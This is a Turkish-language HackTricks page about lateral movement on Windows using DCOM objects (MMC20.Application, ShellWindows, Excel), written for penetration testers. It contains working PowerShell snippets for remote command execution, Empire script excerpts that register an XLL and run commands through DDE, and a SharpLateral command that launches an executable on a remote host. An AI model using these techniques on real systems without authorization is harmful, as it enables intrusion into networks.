hacktricks/windows-hardening/lateral-movement/dcom-exec.md

9.2 KiB
Raw Blame History

DCOM Exec

AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

MMC20.Application

Bu teknik hakkında daha fazla bilgi için https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ adresindeki orijinal yazıyı kontrol edin.

Dağıtılmış Bileşen Nesne Modeli (DCOM) nesneleri, nesnelerle ağ tabanlı etkileşimler için ilginç bir yetenek sunar. Microsoft, DCOM ve Bileşen Nesne Modeli (COM) için kapsamlı belgeler sağlar, DCOM için buraya ve COM için buraya erişilebilir. Bir PowerShell komutu kullanarak DCOM uygulamalarının bir listesi alınabilir:

Get-CimInstance Win32_DCOMApplication

COM nesnesi, MMC Uygulama Sınıfı (MMC20.Application), MMC eklentisi işlemlerinin betikleme işlevini sağlar. Bu nesne, özellikle Document.ActiveView altında ExecuteShellCommand yöntemini içerir. Bu yöntem hakkında daha fazla bilgi burada bulunabilir. Çalıştırarak kontrol edin:

Bu özellik, bir DCOM uygulaması aracılığıyla ağ üzerinden komutların yürütülmesini kolaylaştırır. Uzaktan yönetici olarak DCOM ile etkileşim kurmak için PowerShell şu şekilde kullanılabilir:

[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))

Bu komut DCOM uygulamasına bağlanır ve bir COM nesnesinin bir örneğini döndürür. Ardından ExecuteShellCommand yöntemi çağrılabilir ve uzak makinede bir işlemi yürütmek için kullanılabilir. İşlem aşağıdaki adımları içerir:

Yöntemleri kontrol et:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member

Uzak Kod Çalıştırma (RCE) elde et:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member

# Then just run something like:

ls \\10.10.10.10\c$\Users

ShellWindows ve ShellBrowserWindow

Bu teknik hakkında daha fazla bilgi için orijinal yazıya buradan ulaşabilirsiniz.

MMC20.Application nesnesinin açık "LaunchPermissions" eksikliği tespit edildi ve bu varsayılan olarak Yöneticilere erişim izni veren izinlere sahiptir. Daha fazla ayrıntı için buradaki konuya bakılabilir ve @tiraniddonın OleView .NET'in kullanımı önerilir.

Özel olarak, ShellBrowserWindow ve ShellWindows nesneleri, açık Launch Permissions'a sahip olmamaları nedeniyle vurgulandı. HKCR:\AppID\{guid} altında bir LaunchPermission kaydının olmamasıık izinlerin olmadığını gösterir.

ShellWindows

ProgID eksik olan ShellWindows için, .NET yöntemleri Type.GetTypeFromCLSID ve Activator.CreateInstance, AppID'sini kullanarak nesne örnekleştirmeyi kolaylaştırır. Bu işlem, OleView .NET'in kullanımını gerektirerek ShellWindows için CLSID'yi alır. Bir kere örneklendiğinde, etkileşim WindowsShell.Item yöntemi aracılığıyla mümkün olur ve Document.Application.ShellExecute gibi yöntem çağrılarına yol açar.

Örnek PowerShell komutları, nesneyi örneklendirmek ve uzaktan komutları yürütmek için sağlanmıştır:

$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)

Excel DCOM Nesneleri ile Yana Hareket

Yana hareket, DCOM Excel nesnelerini istismar ederek gerçekleştirilebilir. Detaylı bilgi için, Excel DDE'nin DCOM aracılığıyla yana hareket için nasıl kullanılabileceğine dair tartışmayı okumanız önerilir Cybereason'un blogunda.

Empire projesi, Excel'in DCOM nesnelerini manipüle ederek uzaktan kod yürütme (RCE) için Excel'in kullanımını gösteren bir PowerShell betiği sağlar. Aşağıda, Excel'in RCE için istismar edilmesi için farklı yöntemleri sergileyen Empire'in GitHub deposunda bulunan betikten alınan parçalar bulunmaktadır:

# Detection of Office version
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host  $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
# Registration of an XLL
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
# Execution of a command via Excel DDE
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}

Yana Hareket için Otomasyon Araçları

Bu teknikleri otomatikleştirmek için iki araç öne çıkar:

  • Invoke-DCOM.ps1: Uzak makinelerde kod yürütmek için farklı yöntemleri çağırmayı basitleştiren Empire projesi tarafından sağlanan bir PowerShell betiği. Bu betik, Empire GitHub deposunda erişilebilir durumda.

  • SharpLateral: Uzaktan kod yürütmek için tasarlanmış bir araç, aşağıdaki komutla kullanılabilir:

SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe

Otomatik Araçlar

  • Powershell betiği Invoke-DCOM.ps1, diğer makinelerde kodu yürütmenin yorumlanmış yollarını kolayca çağırmayı sağlar.
  • Ayrıca SharpLateral kullanabilirsiniz:
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe

Referanslar

Sıfırdan kahraman olana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları: